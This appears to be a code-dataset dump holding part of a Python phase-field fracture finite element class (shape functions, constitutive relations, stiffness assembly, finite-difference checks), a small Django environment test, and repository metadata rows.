Quad elements GP = np.zeros((self.order*2**(self.dim-1), self.dim)) if self.order == 1: pnts = np.array([0]) wgts = np.array([2]) elif self.order == 2: pnts = np.array([-1/np.sqrt(3), 1/np.sqrt(3)]) wgts = np.array([1, 1]) elif self.order == 3: pnts = np.array([-np.sqrt(0.6), 0, np.sqrt(0.6)]) wgts = np.array([5./9, 8./9, 5./9]) GP[:,0] = np.tile(pnts,2**(self.dim-1)) self.weights = np.tile(wgts, 2**(self.dim-1)) for i in range(1,self.dim): GP[:,i] = GP[:,i-1].T.reshape(2,-1).T.reshape(-1) self.weights *= self.weights.T.reshape(2,-1).T.reshape(-1) return GP def _Construct_Shape(self, coords): """Constructs shape functions, derivatives and B matrices for an element Parameters ---------- coords : array_like Coordinates of nodes attached to this element Returns ------- None Adds to class object -------------------- N : 2D array Shape function values (dim 1) at the Gauss points (dim 0) J : 1D array Determinant of jacobian at each Gauss point B_u : 3D array, optional B matrices for u B_phi : 2D array, optional B vectors for phi (same as dNdx since phi is a scalar) Hist : 1D array Maximum strain energy values (set to zero initally) """ GP = self._Get_GP() self.N, dNdxi = self._Shape_Func(GP) self.J, self.B_u, self.B_phi = self._Assemble_B(dNdxi, coords) self.Hist = np.zeros(self.weights.size) def _Shape_Func(self, GP): """Assumes L2, Q4, or B8 elements or 2D Tri elements Parameters ---------- GP : ND array Gauss point coordinates Returns ------- N : 2D array Shape function values (dim 1) at the Gauss points (dim 0) dNdxi : 3D array Shape function derivatives (dim 1) wrt parent coordinates (dim 2) at the Gauss points (dim 0) """ if self.eltype == 'L2': N = np.zeros((GP.shape[0], 2)) dNdxi = np.zeros((GP.shape[0], 2, GP.shape[1])) xi = GP[:,0] # N1 = 1/2-xi/2, N2 = 1/2+xi/2 N[:,0] = 1./2 - xi/2 N[:,1] = 1./2 + xi/2 dNdxi[:,0,0] = -1./2 dNdxi[:,1,0] = 1./2 elif self.eltype == 'Q4': N = np.zeros((GP.shape[0], 4)) dNdxi = np.zeros((GP.shape[0], 4, GP.shape[1])) xi = GP[:,0]; eta = GP[:,1] # N1 = 1/4*(1-xi)(1-eta), N2 = 1/4*(1+xi)(1-eta), # N3 = 1/4*(1+xi)(1+eta), N4 = 1/4*(1-xi)(1+eta) N[:,0] = 1./4*(1-xi)*(1-eta) N[:,1] = 1./4*(1+xi)*(1-eta) N[:,2] = 1./4*(1+xi)*(1+eta) N[:,3] = 1./4*(1-xi)*(1+eta) dNdxi[:,0,0] = -1./4*(1-eta); dNdxi[:,0,1] = -1./4*(1-xi) dNdxi[:,1,0] = 1./4*(1-eta); dNdxi[:,1,1] = -1./4*(1+xi) dNdxi[:,2,0] = 1./4*(1+eta); dNdxi[:,2,1] = 1./4*(1+xi) dNdxi[:,3,0] = -1./4*(1+eta); dNdxi[:,3,1] = 1./4*(1-xi) elif self.eltype == 'B8': N = np.zeros((GP.shape[0], 8)) dNdxi = np.zeros((GP.shape[0], 8, GP.shape[1])) xi = GP[:,0]; eta = GP[:,1]; zeta = GP[:,2] # N1 = 1/8*(1-xi)*(1-eta)*(1-zeta) N[:,0] = 1.0/8*(1-xi)*(1-eta)*(1-zeta) dNdxi[:,0,0] = -1.0/8*(1-eta)*(1-zeta); dNdxi[:,0,1] = -1.0/8*(1-xi)*(1-zeta); dNdxi[:,0,2] = -1.0/8*(1-xi)*(1-eta); # N2 = 1/8*(1+xi)*(1-eta)*(1-zeta) N[:,1] = 1.0/8*(1+xi)*(1-eta)*(1-zeta) dNdxi[:,1,0] = 1.0/8*(1-eta)*(1-zeta); dNdxi[:,1,1] = -1.0/8*(1+xi)*(1-zeta); dNdxi[:,1,2] = -1.0/8*(1+xi)*(1-eta); # N3 = 1/8*(1+xi)*(1+eta)*(1-zeta) N[:,2] = 1.0/8*(1+xi)*(1+eta)*(1-zeta) dNdxi[:,2,0] = 1.0/8*(1+eta)*(1-zeta); dNdxi[:,2,1] = 1.0/8*(1+xi)*(1-zeta); dNdxi[:,2,2] = -1.0/8*(1+xi)*(1+eta); # N4 = 1/8*(1-xi)*(1+eta)*(1-zeta) N[:,3] = 1.0/8*(1-xi)*(1+eta)*(1-zeta) dNdxi[:,3,0] = -1.0/8*(1+eta)*(1-zeta); dNdxi[:,3,1] = 1.0/8*(1-xi)*(1-zeta); dNdxi[:,3,2] = -1.0/8*(1-xi)*(1+eta); # N5 = 1/8*(1-xi)*(1-eta)*(1+zeta) N[:,4] = 1.0/8*(1-xi)*(1-eta)*(1+zeta) dNdxi[:,4,0] = -1.0/8*(1-eta)*(1+zeta); dNdxi[:,4,1] = -1.0/8*(1-xi)*(1+zeta); dNdxi[:,4,2] = 1.0/8*(1-xi)*(1-eta); # N6 = 1/8*(1+xi)*(1-eta)*(1+zeta) N[:,5] = 1.0/8*(1+xi)*(1-eta)*(1+zeta) dNdxi[:,5,0] = 1.0/8*(1-eta)*(1+zeta); dNdxi[:,5,1] = -1.0/8*(1+xi)*(1+zeta); dNdxi[:,5,2] = 1.0/8*(1+xi)*(1-eta); # N7 = 1/8*(1+xi)*(1+eta)*(1+zeta) N[:,6] = 1.0/8*(1+xi)*(1+eta)*(1+zeta) dNdxi[:,6,0] = 1.0/8*(1+eta)*(1+zeta); dNdxi[:,6,1] = 1.0/8*(1+xi)*(1+zeta); dNdxi[:,6,2] = 1.0/8*(1+xi)*(1+eta); # N8 = 1/8*(1-xi)*(1+eta)*(1+zeta) N[:,7] = 1.0/8*(1-xi)*(1+eta)*(1+zeta) dNdxi[:,7,0] = -1.0/8*(1+eta)*(1+zeta); dNdxi[:,7,1] = 1.0/8*(1-xi)*(1+zeta); dNdxi[:,7,2] = 1.0/8*(1-xi)*(1+eta); elif self.eltype == 'T3': N = np.zeros((GP.shape[0], 3)) dNdxi = np.zeros((GP.shape[0], 3, GP.shape[1])) xi = GP[:,0]; eta = GP[:,1] # N1 = xi, N2 = eta, N3 = 1 - xi - eta N[:,0] = xi N[:,1] = eta N[:,2] = 1.0 - xi - eta dNdxi[:,0,0] = 1.0; dNdxi[:,0,1] = 0.0 dNdxi[:,1,0] = 0.0; dNdxi[:,1,1] = 1.0 dNdxi[:,2,0] = -1.0; dNdxi[:,2,1] = -1.0 else: raise TypeError('Invalid element type specified') return N, dNdxi def _Assemble_B(self, dNdxi, coords): """Converts dNdxi to dNdx and assembles B matrix for u or phi Parameters ---------- dNdxi : 3D array Shape function derivatives (dim 1) wrt parent coordinates (dim 2) at the Gauss points (dim 0) coords : array_like Coordinates of nodes attached to this element Returns ------- J : 1D array Determinant of jacobian at each Gauss point B_u : 3D array, optional B matrices for u B_phi : 2D array, optional B vectors for phi (same as dNdx since phi is a scalar) """ nGP = dNdxi.shape[0] J = np.zeros(nGP) dNdx = np.zeros((self.dim, dNdxi.shape[1], nGP)) B_u = np.zeros(((self.dim**2+self.dim)/2, coords.size, nGP)) for i in range(nGP): Jac = np.dot(dNdxi[i,:,:].T, coords) J[i] = np.linalg.det(Jac) dNdx[:,:,i] = np.linalg.solve(Jac, dNdxi[i,:,:].T) if self.dim == 1: B_u[:,:,i] = dNdx[:,:,i] if self.dim == 2: B_u[0,0::2,i] = dNdx[0,:,i] B_u[1,1::2,i] = dNdx[1,:,i] B_u[2,0::2,i] = dNdx[1,:,i] B_u[2,1::2,i] = dNdx[0,:,i] elif self.dim == 3: B_u[0,0::3,i] = dNdx[0,:,i] B_u[1,1::3,i] = dNdx[1,:,i] B_u[2,2::3,i] = dNdx[2,:,i] B_u[3,0::3,i] = dNdx[1,:,i] B_u[3,1::3,i] = dNdx[0,:,i] B_u[4,1::3,i] = dNdx[2,:,i] B_u[4,2::3,i] = dNdx[1,:,i] B_u[5,0::3,i] = dNdx[2,:,i] return J, B_u, dNdx def _EigenStressStrain(self, eps, phi, couple=False): """Gets the eigenstresses and eigenstrains Parameters ---------- eps : array_like The strain tensor in VECTOR form phi : scalar The damage variable at the point stresses and strains are measured couple : boolean, optional Whether to include coupling terms Returns ------- eps_princ : vector Principal strains sig_princ : vector Principal stresses dlam : array_like First derivative of principal strains with respect to all strains d2lam : array_like Second derivative of principal strains with respect to all strains H : scalar 1 or 0 indicating whether trace of strains applies to strain energy Hi : vector 1s or 0s indicating whether each principal strain applies to strain energy Lmat : array_like Matrix to convert principal strains to principl stresses """ eps_princ = self._EigStrain(eps) dlam, d2lam = self._DiffEig(eps, eps_princ) H = 1 if ((eps_princ[0] + eps_princ[1]) < 0 and self.aniso): H = 0 Hi = np.empty(2, dtype=int) Hi.fill(1) if (eps_princ[0] < 0 and self.aniso): Hi[0] = 0 if (eps_princ[1] < 0 and self.aniso): Hi[1] = 0 Lmat = np.empty((2,2)) gamma = self.lam * ((1-self.k) * (1 - H*phi)**2 + self.k) Lmat.fill(gamma) Lmat[0,0] += 2*self.mu*((1-self.k) * (1-Hi[0]*phi)**2 + self.k) Lmat[1,1] += 2*self.mu*((1-self.k) * (1-Hi[1]*phi)**2 + self.k) sig_princ = np.dot(Lmat, eps_princ) if couple: # dLmat/dphi dLmat = 0 * Lmat gamma = -2 * self.lam * (1-self.k) * H * (1 - H*phi) dLmat += gamma dLmat[0,0] -= 4 * self.mu * (1-self.k) * Hi[0] * (1 - Hi[0]*phi) dLmat[1,1] -= 4 * self.mu * (1-self.k) * Hi[1] * (1 - Hi[1]*phi) return eps_princ, sig_princ, dlam, d2lam, H, Hi, Lmat, dLmat else: return eps_princ, sig_princ, dlam, d2lam, H, Hi, Lmat def _EigStrain(self, eps): """Gets the eigenstresses and eigenstrains Parameters ---------- eps : vector The strain tensor in VECTOR form Returns ------- lam : vector The principle strains """ lam = np.empty(2) lam.fill((eps[0]+eps[1])/2) shift = np.sqrt((eps[0]+eps[1])**2 - 4*(eps[0]*eps[1]-eps[2]**2/4))/2 lam[0] += shift lam[1] -= shift return lam def _DiffEig(self, eps, lam): """Returns the derivative of the eigenvalues wrt the matrix Parameters ---------- eps : vector The strain tensor in VECTOR form lam : vector The principle strains Returns ------- dlam : array_like First derivative of the eigenvalues d2lam : array_like Second derivatives of the eigenvalues """ dlam = np.zeros((2,3)) d2lam = np.zeros((3,3,2)) R = np.sqrt((lam[0]+lam[1])**2 - 4*(lam[0]*lam[1])) if ((R < (1e-8*(eps[0]+eps[1]))) or (R == 0)): # Avoid breakdown that occurs when eigenvalue is multiple or eps = 0 dlam[0,0] = 1. dlam[0,1] = 0. dlam[0,2] = 0. dlam[1,0] = 0. dlam[1,1] = 1. dlam[1,2] = 0. d2lam[2,2,0] = 1./4 d2lam[2,2,1] = 1./4 else: twoR = 2*R cost = (eps[0]-eps[1])/R sint = eps[2]/R # dlam[0,0] = (1+cost)/2 # dlam[0,1] = (1-cost)/2 # dlam[0,2] = sint/2 # dlam[1,0] = (1-cost)/2 # dlam[1,1] = (1+cost)/2 # dlam[1,2] = -sint/2 # # d2lam[0,0,0] = (1-cost**2)/twoR # d2lam[0,1,0] = (cost**2-1)/twoR # d2lam[0,2,0] = -sint*cost/twoR # d2lam[1,0,0] = (cost**2-1)/twoR # d2lam[1,1,0] = (1-cost**2)/twoR # d2lam[1,2,0] = sint*cost/twoR # d2lam[2,0,0] = -sint*cost/twoR # d2lam[2,1,0] = sint*cost/twoR # d2lam[2,2,0] = (1-sint**2)/twoR dlam[0,0] = (1+cost)/2 dlam[0,1] = (1-cost)/2 dlam[0,2] = sint/2 dlam[1,0] = dlam[0,1] dlam[1,1] = dlam[0,0] dlam[1,2] = -dlam[0,2] d2lam[0,0,0] = (1-cost**2)/twoR d2lam[0,1,0] = -d2lam[0,0,0] d2lam[0,2,0] = -sint*cost/twoR d2lam[1,0,0] = -d2lam[0,0,0] d2lam[1,1,0] = d2lam[0,0,0] d2lam[1,2,0] = -d2lam[0,2,0] d2lam[2,0,0] = d2lam[0,2,0] d2lam[2,1,0] = -d2lam[0,2,0] d2lam[2,2,0] = (1-sint**2)/twoR d2lam[:,:,1] = -d2lam[:,:,0] return dlam, d2lam def _Constitutive(self, eps, phi, energy=True, couple=False): """Provides constitutive relations to get stress and tangent stiffness Parameters ---------- eps : array_like The strain tensor in VECTOR form phi : scalar The damage variable at the point stresses and strains are measured energy : bool, optional Flag whether energies should be calculated as well couple : boolean, optional Whether to include coupling terms Returns ------- stress : vector stress values in VECTOR form Cmat : array_like tangent stiffness matrix elast_eng : scalar Elastic energy elast_ten_eng : scalar Elastic tensile energy eng : scalar Inelastic energy """ if (eps == 0.).all(): # When no strain is present, no priniciple strains exist stress = 0*eps Cmat = np.array([[1-self.nu, self.nu, 0.], [self.nu, 1-self.nu, 0.], [0., 0., 0.5-self.nu]]) Cmat *= self.E / ( (1+self.nu) * (1-2*self.nu) ) elast_eng = 0 elast_ten_eng = 0 eng = 0 dstress = stress.copy() dten_eng = stress.copy() else: if couple: eps_princ, sig_princ, dlam, d2lam, H, Hi, Lmat, dLmat = self._EigenStressStrain( eps, phi, couple) else: eps_princ, sig_princ, dlam, d2lam, H, Hi, Lmat = self._EigenStressStrain( eps, phi, couple) stress = np.dot(sig_princ, dlam) # Derivative of prinicipal stress wrt damage, only necessary for coupling if couple: dpsdphi = np.dot(dLmat, eps_princ) dstress = np.dot(dpsdphi, dlam) Cmat = np.dot(dlam.T,np.dot(Lmat,dlam)) + np.dot(d2lam, sig_princ) if energy: if couple: elast_eng, elast_ten_eng, eng, dten_eng = self._Calc_Energy( eps_princ, phi, H, Hi, couple=couple) dten_eng = np.dot(dten_eng, dlam) else: elast_eng, elast_ten_eng, eng = self._Calc_Energy(eps_princ, phi, H, Hi, couple=couple) if energy: if couple: return stress, dstress, Cmat, elast_eng, elast_ten_eng, eng, dten_eng else: return stress, Cmat, elast_eng, elast_ten_eng, eng else: if couple: return stress, dstress, Cmat else: return stress, Cmat def _Calc_Energy(self, eps_princ, phi, H, Hi, types=7, couple=False): """Calculates elastic, elastic tensile, and inelastic energy Parameters ---------- eps_princ : array_like The principle strains phi : scalar The damage variable at the point stresses and strains are measured H : scalar 1 or 0 indicating whether trace of strains applies to strain energy Hi : vector 1s or 0s indicating whether each principal strain applies to strain energy types : int, optional Which energies to return (types&1:elastic, types&2:elastic tensile, types&4:inelastic) couple : boolean, optional Whether to include coupling terms Returns ------- elast_eng : scalar Elastic energy elast_ten_eng : scalar Elastic tensile energy eng : scalar Inelastic energy dten_eng : scalar Derivative of elastic tensile energy wrt eps_princ """ if eps_princ.size == 1: eps_tr = eps_princ[0] elif eps_princ.size == 2: eps_tr = eps_princ[0] + eps_princ[1] elif eps_princ.size == 3: eps_tr = eps_princ[0] + eps_princ[1] + eps_princ[2] ret = [] if types & 1: # elast_eng ret.append(self.lam/2*eps_tr**2 + self.mu*np.dot(eps_princ.T,eps_princ)) if types & 2: # elast_ten_eng ret.append(self.lam/2*H*eps_tr**2 + self.mu*np.dot(eps_princ.T,eps_princ*Hi)) if types & 4: # eng ret.append(self.lam/2*((1-self.k)*(1-H*phi)**2 + self.k)*eps_tr**2 + self.mu*np.dot(eps_princ.T,eps_princ*((1-self.k)*(1-Hi*phi)**2 + self.k))) if couple: # dten_eng ret.append(self.lam * H * eps_tr + 2*self.mu * Hi * eps_princ) if len(ret) == 1: return ret[0] else: return ret def Get_Energy(self, eps, phi, types=7): """ Returns elastic, elastic tensile, and inelastic energy based on strain/damage values Parameters ---------- eps : array_like The strain tensor in VECTOR form phi : scalar The damage variable at the point stresses and strains are measured types : int, optional Which energies to return (types&1:elastic, types&2:elastic tensile, types&3:inelastic) Returns ------- elast_eng : scalar Elastic energy elast_ten_eng : scalar Elastic tensile energy eng : scalar Inelastic energy """ eps_princ = self._EigStrain(eps) H = 1 if ((eps_princ[0] + eps_princ[1]) < 0 and self.aniso): H = 0 Hi = np.zeros(2, dtype=int) for i in range(2): Hi[i] = 1 if (eps_princ[i] < 0 and self.aniso): Hi[i] = 0 return self._Calc_Energy(eps_princ, phi, H, Hi, types=types, couple=False) def Energy(self, uphi, types=7, reduction=None): """ Returns elastic, elastic tensile, and inelastic energy at each Gauss point based on displacement/damage vector Parameters ---------- uphi : array_like vector of displacements/damage for this element types : int, optional Which energies to return (types&1:elastic, types&2:elastic tensile, types&3:inelastic) reduction : operation, optional An operation to perform to reduce the values at each Gauss point to a single value Returns ------- elast_eng : scalar Elastic energy elast_ten_eng : scalar Elastic tensile energy eng : scalar Inelastic energy """ energies = np.zeros((self.weights.size, (types&4)/4 + (types&2)/2 + (types&1))) for i in range(self.weights.size): phi = np.dot(self.N[i,:], uphi[self.phidof]) eps = np.dot(self.B_u[:,:,i], uphi[self.udof]) energies[i,:] = self.Get_Energy(eps, phi, types=7) if reduction is None: return energies else: return reduction(energies, axis=0) def Stress(self, uphi, reduction=None): """ Returns stress at each Gauss point based on displacement/damage vector Parameters ---------- uphi : array_like vector of displacements/damage for this element reduction : operation, optional An operation to perform to reduce the values at each Gauss point to a single value Returns ------- stress : array_like stress components in VECTOR form """ stress = np.zeros((self.weights.size, 3)) for i in range(self.weights.size): phi = np.dot(self.N[i,:], uphi[self.phidof]) eps = np.dot(self.B_u[:,:,i], uphi[self.udof]) stress[i,:] = el._Constitutive(eps, phi, energy=False, couple=False)[0] if reduction is None: return stress else: return reduction(stress, axis=0) def Local_Assembly(self, uphi, section, Assemble=3, couple=False): """Assembles the local tangent stiffness matrix and internal force vector Parameters ---------- uphi : 1D array The current approximation of u and phi section : scalar Part of the matrix to assemble ('uu', 'pp', 'up', or 'pu' or 'all') 'uu' and 'pp' also return the internal force vectors. Assemble : integer, optional If Assemble & 1 == 1, assemble K If Assemble & 2 == 2, assemble RHS If both true, assemble both couple : boolean, optional Whether to include coupling terms Returns ------- K_loc : 2D array Local tangent stiffness matrix F_loc : 1D array Local internal force vector """ section = section.upper() # Initialization if section == 'ALL': K = np.zeros((uphi.size,uphi.size)) F = np.zeros(uphi.size) if section == 'UU': K = np.zeros((self.udof.size,self.udof.size)) F = np.zeros(self.udof.size) elif section == 'UP': K = np.zeros((self.udof.size,self.phidof.size)) F = None elif section == 'PU': K = np.zeros((self.phidof.size,self.udof.size)) F = None elif section == 'PP': K = np.zeros((self.phidof.size,self.phidof.size)) F = np.zeros(self.phidof.size) # Loop over integration points for i in range(self.weights.size): phi = np.dot(self.N[i,:], uphi[self.phidof]) if section == 'ALL' or section == 'UU' or couple: eps = np.dot(self.B_u[:,:,i], uphi[self.udof]) if couple and section == 'ALL': stress, dstress, D, elast_eng, elast_ten_eng, eng, dten_eng = self._Constitutive(eps, phi, energy=True, couple=couple) elif section == 'ALL': stress, D, elast_eng, elast_ten_eng, eng = self._Constitutive(eps, phi, energy=True, couple=False) elif section == 'UU': stress, D = self._Constitutive(eps, phi, energy=False, couple=False) coeff = self.J[i]*self.weights[i] if section == 'ALL': # UU if Assemble & 1 == 1: K[self.udof[:,np.newaxis],self.udof] += np.dot(self.B_u[:,:,i].T, np.dot(D, self.B_u[:,:,i]))*coeff if Assemble & 2 == 2: F[self.udof] += np.dot(self.B_u[:,:,i].T, stress)*coeff # PP energy = max(elast_ten_eng, self.Hist[i]) if Assemble & 1 == 1: K[self.phidof[:,np.newaxis],self.phidof] += (self.Gc * self.lc * np.dot(self.B_phi[:,:,i].T, self.B_phi[:,:,i]) * coeff) K[self.phidof[:,np.newaxis],self.phidof] += ((self.Gc / self.lc + 2*(1-self.k)*energy) * np.outer(self.N[i,:].T, self.N[i,:]) * coeff) if Assemble & 2 == 2: gradphi = np.dot(self.B_phi[:,:,i], uphi[self.phidof]) F[self.phidof] += self.Gc * self.lc * np.dot(self.B_phi[:,:,i].T, gradphi) * coeff F[self.phidof] += (self.Gc / self.lc + 2*(1-self.k)*energy) * self.N[i,:].T * phi * coeff F[self.phidof] -= 2*(1-self.k)*energy * self.N[i,:].T * coeff if couple and Assemble & 1 == 1: # UP K[self.udof[:,np.newaxis],self.phidof] += np.outer(np.dot(self.B_u[:,:,i].T, dstress), self.N[i,:])*coeff # PU if elast_ten_eng >= self.Hist[i]: K[self.phidof[:,np.newaxis],self.udof] += (2*(phi-1) * (1-self.k) * np.outer(self.N[i,:].T, np.dot(dten_eng, self.B_u[:,:,i])) * coeff) elif section == 'UU': # if Assemble & 1 == 1: # K += np.dot(self.B_u[:,:,i].T, np.dot(D, self.B_u[:,:,i]))*coeff # if Assemble & 2 == 2: # F += np.dot(self.B_u[:,:,i].T, stress)*coeff self.Assemble_U(K, F, D, stress, i, coeff, Assemble) elif section == 'UP': pass elif section == 'PU': pass elif section == 'PP': if couple: elast_ten_eng = self.Get_Energy(eps, phi, types=2) # Use current estimated energy for calculation energy = max(elast_ten_eng, self.Hist[i]) else: # Decoupled, ignore currrent approximated energy energy = self.Hist[i] # if Assemble & 1 == 1: # K += self.Gc * self.lc * np.dot(self.B_phi[:,:,i].T, self.B_phi[:,:,i]) * coeff # K += (self.Gc / self.lc + 2*(1-self.k)*energy) * np.outer(self.N[i,:].T, self.N[i,:]) * coeff # if Assemble & 2 == 2: # gradphi = np.dot(self.B_phi[:,:,i], uphi[self.phidof]) # F += self.Gc * self.lc * np.dot(self.B_phi[:,:,i].T, gradphi).reshape(-1) * coeff # F += (self.Gc / self.lc + 2*(1-self.k)*energy) * self.N[i,:].T * phi * coeff # F -= 2*(1-self.k)*energy * self.N[i,:].T * coeff self.Assemble_P(K, F, uphi, phi, i, coeff, energy, Assemble) return K, F def Assemble_U(self, K, F, D, stress, i, coeff, Assemble=3): if Assemble & 1 == 1: K += np.dot(self.B_u[:,:,i].T, np.dot(D, self.B_u[:,:,i]))*coeff if Assemble & 2 == 2: F += np.dot(self.B_u[:,:,i].T, stress)*coeff def Assemble_P(self, K, F, uphi, phi, i, coeff, energy, Assemble=3): if Assemble & 1 == 1: K += self.Gc * self.lc * np.dot(self.B_phi[:,:,i].T, self.B_phi[:,:,i]) * coeff K += (self.Gc / self.lc + 2*(1-self.k)*energy) * np.dot(self.N[i,None].T, self.N[i,None]) * coeff if Assemble & 2 == 2: gradphi = np.dot(self.B_phi[:,:,i], uphi[self.phidof]) F += self.Gc * self.lc * np.dot(self.B_phi[:,:,i].T, gradphi) * coeff F += (self.Gc / self.lc + 2*(1-self.k)*energy) * self.N[i,:].T * phi * coeff F -= 2*(1-self.k)*energy * self.N[i,:].T * coeff def RHS_FD(self, uphi, section, delta=1e-8): """Calculates the right hand side using finite differences Parameters ---------- uphi : 1D array The current approximation of u and phi section : scalar, optional Part of the RHS to assemble ('uu', 'pp' or 'all') delta : scalar, optional Finite difference step size Returns ------- F_loc : 1D array Local internal force vector """ F_loc = np.zeros(uphi.size) section = section.upper() if section == 'ALL': dof = np.arange(uphi.size) elif section == 'UU': dof = np.arange(0, uphi.size, self.dim+1).tolist() for i in range(1,self.dim): dof += np.arange(i, uphi.size, self.dim+1).tolist() dof = np.sort(dof) elif section == 'PP': dof = np.arange(self.dim, uphi.size, self.dim+1) for d in dof: plus = 0 uphi_del = uphi.copy() uphi_del[d] += delta for i in range(self.weights.size): coeff = self.J[i]*self.weights[i] phi = np.dot(self.N[i,:],uphi_del[self.phidof]) u = np.zeros((self.dim*uphi_del.size)/(self.dim+1)) for j in range(self.dim): u[j::self.dim] = np.dot(self.N[i,:],uphi_del[self.udof[j::self.dim]]) gradphi = np.dot(self.B_phi[:,:,i], uphi_del[self.phidof]) eps = np.dot(self.B_u[:,:,i], uphi_del[self.udof]) stress, D, elast_eng, elast_ten_eng, eng = self._Constitutive(eps, phi, energy=True, couple=False) temp1 = eng temp2 = self.Gc/2*(phi**2/self.lc + self.lc*np.dot(gradphi,gradphi)) plus += (temp1 + temp2)*coeff minus = 0 uphi_del = uphi.copy() uphi_del[d] -= delta for i in range(self.weights.size): coeff = self.J[i]*self.weights[i] phi = np.dot(self.N[i,:],uphi_del[self.phidof]) u = np.zeros((self.dim*uphi_del.size)/(self.dim+1)) for j in range(self.dim): u[j::self.dim] = np.dot(self.N[i,:],uphi_del[self.udof[j::self.dim]]) gradphi = np.dot(self.B_phi[:,:,i], uphi_del[self.phidof]) eps = np.dot(self.B_u[:,:,i], uphi_del[self.udof]) stress, D, elast_eng, elast_ten_eng, eng = self._Constitutive(eps, phi, energy=True, couple=False) temp1 = eng temp2 = self.Gc/2*(phi**2/self.lc + self.lc*np.dot(gradphi,gradphi)) minus += (temp1 + temp2)*coeff F_loc[d] = (plus-minus)/2/delta; return F_loc[dof] def K_FD(self, uphi, section, delta=1e-8): """Calculates the tangent stiffness matrix using finite differences on the RHS vector Parameters ---------- uphi : 1D array The current approximation of u and phi section : scalar, optional Part of K to assemble ('uu', 'pp' or 'all') delta : scalar, optional Finite difference step size Returns ------- K_loc : 1D array Local internal force vector """ section = section.upper() if section == 'ALL': dof = np.arange(uphi.size) elif section == 'UU': dof = np.arange(0, uphi.size, self.dim+1).tolist() for i in range(1,self.dim): dof += np.arange(i, uphi.size, self.dim+1).tolist() dof = np.sort(dof) elif section == 'PP': dof = np.arange(self.dim, uphi.size, self.dim+1) K_loc = np.zeros((dof.size,uphi.size)) for d in dof: uphi_del = uphi.copy() uphi_del[d] += delta plus = self.Local_Assembly(uphi_del, section)[1] uphi_del = uphi.copy() uphi_del[d] -= delta minus = self.Local_Assembly(uphi_del, section)[1] K_loc[:,d] = (plus-minus)/2/delta; return K_loc[:,dof] def K_FD2(self, uphi, section, delta=1e-8): """Calculates the tangent stiffness matrix using finite differences on the energy term Parameters ---------- uphi : 1D array The current approximation of u and phi section : scalar, optional Part of K to assemble ('uu', 'pp' or 'all') delta : scalar, optional Finite difference step size Returns ------- K_loc : 1D array Local internal force vector """ section = section.upper() if section == 'ALL': dof = np.arange(uphi.size) elif section == 'UU': dof = np.arange(0, uphi.size, self.dim+1).tolist() for i in range(1,self.dim): dof += np.arange(i, uphi.size, self.dim+1).tolist() dof = np.sort(dof) elif section == 'PP': dof = np.arange(self.dim, uphi.size, self.dim+1) K_loc = np.zeros((uphi.size,uphi.size)) for d in dof: for f in dof: for signs in [[1, 1], [1, -1], [-1, 1], [-1, -1]]: uphi_del = uphi.copy() uphi_del[d] += signs[0]*delta uphi_del[f] += signs[1]*delta for i in range(self.weights.size): coeff = self.J[i]*self.weights[i] phi = np.dot(self.N[i,:],uphi_del[self.phidof]) u = np.zeros((self.dim*uphi_del.size)/(self.dim+1)) for j in range(self.dim): u[j::self.dim] = np.dot(self.N[i,:],uphi_del[self.udof[j::self.dim]]) gradphi = np.dot(self.B_phi[:,:,i], uphi_del[self.phidof]) eps = np.dot(self.B_u[:,:,i], uphi_del[self.udof]) stress, D, elast_eng, elast_ten_eng, eng = self._Constitutive(eps, phi, energy=True, couple=False) temp1 = eng temp2 = self.Gc/2*(phi**2/self.lc + self.lc*np.dot(gradphi,gradphi)) K_loc[d,f] += signs[0]*signs[1] * (temp1 + temp2)*coeff K_loc /= 4*delta*delta return K_loc[dof[:,np.newaxis],dof] def Update_Energy(self, uphi): """Updates maximum energy value Parameters ---------- uphi : 1D array The current approximation of u and phi Returns ------- None """ for i in range(self.weights.size): phi = np.dot(self.N[i,:],uphi[self.phidof]) eps = np.dot(self.B_u[:,:,i], uphi[self.udof]) eps_princ = self._EigStrain(eps) H = 1 if ((eps_princ[0] + eps_princ[1]) < 0 and self.aniso): H = 0 Hi = np.zeros(2, dtype=int) for j in range(2): Hi[j] = 1 if (eps_princ[j] < 0 and self.aniso): Hi[j] = 0 elast_ten_eng = self._Calc_Energy(eps_princ, phi, H, Hi, types=2, couple=False) if self.Hist[i] > elast_ten_eng: Warning("Energy drop detected") self.Hist[i] = max(self.Hist[i], elast_ten_eng)
38.837791
135
0.459601
44,859
0.996579
0
0
0
0
0
0
17,971
0.39924
d588539983a2e180d430faf9156fe49f7c14386f
372
py
Python
server/tests/test_env.py
amiralis1365/cards-game
db44eaefd0c10c7876be52e97534f7e4201c9581
[ "CNRI-Python" ]
null
null
null
server/tests/test_env.py
amiralis1365/cards-game
db44eaefd0c10c7876be52e97534f7e4201c9581
[ "CNRI-Python" ]
null
null
null
server/tests/test_env.py
amiralis1365/cards-game
db44eaefd0c10c7876be52e97534f7e4201c9581
[ "CNRI-Python" ]
null
null
null
"""Sanity test environment setup.""" import os.path from django.conf import settings from django.test import TestCase class EnvTestCase(TestCase): """Environment test cases.""" def test_env_file_exists(self): """Test environment file exists.""" env_file = os.path.join(settings.DEFAULT_ENV_PATH, ".env") assert os.path.exists(env_file)
24.8
66
0.701613
250
0.672043
0
0
0
0
0
0
106
0.284946
d5887287725e2e8a0b6a2fd0c2f42b466eaaa2d4
1,705
py
Python
iglovikov_helper_functions/utils/inpainting_utils.py
AIChuY/iglovikov_helper_functions
46383c7a8b0f8dbdbf7907e119b6c2417877ad33
[ "MIT" ]
46
2019-09-21T02:05:50.000Z
2022-01-02T10:27:56.000Z
iglovikov_helper_functions/utils/inpainting_utils.py
AIChuY/iglovikov_helper_functions
46383c7a8b0f8dbdbf7907e119b6c2417877ad33
[ "MIT" ]
9
2020-04-05T01:19:56.000Z
2021-08-02T16:53:18.000Z
iglovikov_helper_functions/utils/inpainting_utils.py
AIChuY/iglovikov_helper_functions
46383c7a8b0f8dbdbf7907e119b6c2417877ad33
[ "MIT" ]
14
2019-09-21T02:54:17.000Z
2022-02-28T11:58:34.000Z
